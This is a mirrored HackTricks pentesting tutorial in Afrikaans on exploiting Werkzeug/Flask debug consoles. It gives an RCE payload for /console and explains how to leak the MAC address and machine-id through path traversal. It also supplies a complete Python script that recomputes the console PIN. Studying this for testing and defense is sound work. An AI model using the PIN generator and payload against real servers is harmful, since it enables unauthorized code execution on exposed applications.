mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
186 lines
9.3 KiB
Markdown
186 lines
9.3 KiB
Markdown
# Werkzeug / Flask Foutopsporing
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
## Konsol RCE
|
|
|
|
As foutopsporing aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry.
|
|
```python
|
|
__import__('os').popen('whoami').read();
|
|
```
|
|
![](<../../.gitbook/assets/image (114).png>)
|
|
|
|
Daar is ook verskeie uitbuite op die internet soos [hierdie](https://github.com/its-arun/Werkzeug-Debug-RCE) of een in metasploit.
|
|
|
|
## Pin Beskerm - Pad Traversal
|
|
|
|
In sommige gevalle gaan die **`/console`** eindpunt beskerm word deur 'n pin. As jy 'n **lêer traversal kwesbaarheid** het, kan jy al die nodige inligting lek om daardie pin te genereer.
|
|
|
|
### Werkzeug Console PIN Uitbuiting
|
|
|
|
Dwing 'n foutbladsy in die app af om dit te sien:
|
|
```
|
|
The console is locked and needs to be unlocked by entering the PIN.
|
|
You can find the PIN printed out on the standard output of your
|
|
shell that runs the server
|
|
```
|
|
'n Berig rakende die "konsole gesluit" scenario word aangetref wanneer daar gepoog word om toegang tot Werkzeug se foutopsporingskoppelvlak te verkry, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN uit te buit deur die PIN-genereringsalgoritme in Werkzeug se foutopsporingsinitsialisasie-lêer (`__init__.py`) te analiseer. Die PIN-genereringsmeganisme kan bestudeer word vanaf die [**Werkzeug bronkode-opberging**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), alhoewel dit aanbeveel word om die werklike bedienerkode te bekom deur 'n lêertraversie-kwesbaarheid weens potensiële weergawe-afwykings.
|
|
|
|
Om die konsole PIN uit te buit, word twee stelle veranderlikes, `probably_public_bits` en `private_bits`, benodig:
|
|
|
|
#### **`probably_public_bits`**
|
|
|
|
* **`username`**: Verwys na die gebruiker wat die Flask-sessie geïnisieer het.
|
|
* **`modname`**: Gewoonlik aangedui as `flask.app`.
|
|
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Los gewoonlik op na **Flask**.
|
|
* **`getattr(mod, '__file__', None)`**: Verteenwoordig die volledige pad na `app.py` binne die Flask-gids (byvoorbeeld, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). As `app.py` nie van toepassing is nie, **probeer `app.pyc`**.
|
|
|
|
#### **`private_bits`**
|
|
|
|
* **`uuid.getnode()`**: Haal die MAC-adres van die huidige masjien op, met `str(uuid.getnode())` wat dit na 'n desimale formaat omskakel.
|
|
* Om die **bediener se MAC-adres te bepaal**, moet die aktiewe netwerkinterface wat deur die app gebruik word, geïdentifiseer word (byvoorbeeld, `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel-ID te vind, en haal dan die MAC-adres uit **`/sys/class/net/<toestel id>/address`**.
|
|
* Omskakeling van 'n heksadesimale MAC-adres na desimaal kan uitgevoer word soos hieronder getoon:
|
|
|
|
```python
|
|
# Voorbeeld MAC-adres: 56:00:02:7a:23:ac
|
|
>>> print(0x5600027a23ac)
|
|
94558041547692
|
|
```
|
|
* **`get_machine_id()`**: Kombineer data vanaf `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` met die eerste lyn van `/proc/self/cgroup` na die laaste skuiwingsteken (`/`).
|
|
|
|
<details>
|
|
|
|
<summary>Kode vir `get_machine_id()`</summary>
|
|
```python
|
|
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
|
global _machine_id
|
|
|
|
if _machine_id is not None:
|
|
return _machine_id
|
|
|
|
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
|
linux = b""
|
|
|
|
# machine-id is stable across boots, boot_id is not.
|
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
|
try:
|
|
with open(filename, "rb") as f:
|
|
value = f.readline().strip()
|
|
except OSError:
|
|
continue
|
|
|
|
if value:
|
|
linux += value
|
|
break
|
|
|
|
# Containers share the same machine id, add some cgroup
|
|
# information. This is used outside containers too but should be
|
|
# relatively stable across boots.
|
|
try:
|
|
with open("/proc/self/cgroup", "rb") as f:
|
|
linux += f.readline().strip().rpartition(b"/")[2]
|
|
except OSError:
|
|
pass
|
|
|
|
if linux:
|
|
return linux
|
|
|
|
# On OS X, use ioreg to get the computer's serial number.
|
|
try:
|
|
```
|
|
</details>
|
|
|
|
Na die versameling van alle nodige data, kan die uitbuitingskrip uitgevoer word om die Werkzeug konsole PIN te genereer. Die krip gebruik die saamgestelde `probably_public_bits` en `private_bits` om 'n hashteken te skep, wat dan verdere verwerking ondergaan om die finale PIN te produseer. Hieronder is die Python-kode om hierdie proses uit te voer:
|
|
```python
|
|
import hashlib
|
|
from itertools import chain
|
|
probably_public_bits = [
|
|
'web3_user', # username
|
|
'flask.app', # modname
|
|
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
|
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
|
]
|
|
|
|
private_bits = [
|
|
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
|
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
|
]
|
|
|
|
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
|
h = hashlib.sha1()
|
|
for bit in chain(probably_public_bits, private_bits):
|
|
if not bit:
|
|
continue
|
|
if isinstance(bit, str):
|
|
bit = bit.encode('utf-8')
|
|
h.update(bit)
|
|
h.update(b'cookiesalt')
|
|
# h.update(b'shittysalt')
|
|
|
|
cookie_name = '__wzd' + h.hexdigest()[:20]
|
|
|
|
num = None
|
|
if num is None:
|
|
h.update(b'pinsalt')
|
|
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
|
|
|
rv = None
|
|
if rv is None:
|
|
for group_size in 5, 4, 3:
|
|
if len(num) % group_size == 0:
|
|
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
|
for x in range(0, len(num), group_size))
|
|
break
|
|
else:
|
|
rv = num
|
|
|
|
print(rv)
|
|
```
|
|
Hierdie skrip genereer die PIN deur die saamgevoegde bietjies te hash, spesifieke sout (`cookiesalt` en `pinsalt`) by te voeg, en die uitset te formateer. Dit is belangrik om daarop te let dat die werklike waardes vir `probably_public_bits` en `private_bits` akkuraat verkry moet word vanaf die teikenstelsel om te verseker dat die gegenereerde PIN ooreenstem met dié wat verwag word deur die Werkzeug-konsole.
|
|
|
|
{% hint style="success" %}
|
|
As jy op 'n **ou weergawe** van Werkzeug is, probeer om die **hashing-algoritme na md5** te verander in plaas van sha1.
|
|
{% endhint %}
|
|
|
|
## Verwysings
|
|
|
|
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
|
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat klap, en pret te hê.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
|
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|